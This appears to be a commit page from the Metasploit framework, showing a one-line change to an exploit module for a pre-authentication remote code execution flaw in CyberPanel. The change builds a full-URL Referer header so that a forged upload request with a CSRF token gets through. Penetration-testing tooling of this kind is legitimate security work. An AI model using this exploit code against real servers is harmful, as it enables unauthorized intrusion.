Update modules/exploits/unix/webapp/cyberpanel_preauth_rce_multi_cve.rb

Co-authored-by: jheysel-r7 <[email protected]>
Chocapikk · Dec 5, 2024 · ca45c64 · ca45c64
1 parent 0fecf5b
commit ca45c64
Showing 1 changed file with 1 addition and 1 deletion.
diff --git a/modules/exploits/unix/webapp/cyberpanel_preauth_rce_multi_cve.rb b/modules/exploits/unix/webapp/cyberpanel_preauth_rce_multi_cve.rb
@@ -148,7 +148,7 @@ def execute_payload(action, injected_payload)
       payload_data = post_data.to_s
 
       headers['X-CSRFToken'] = csrf_token
-      headers['Referer'] = normalize_uri(target_uri.path, 'filemanager/upload')
+      headers['Referer'] = "#{(datastore['SSL'] ? 'https' : 'http')}://#{datastore['RHOST']}:#{datastore['RPORT']}#{normalize_uri(target_uri.path, 'filemanager/upload')}"
       headers['Cookie'] = "csrftoken=#{csrf_token}"
       ctype = "multipart/form-data; boundary=#{post_data.bound}"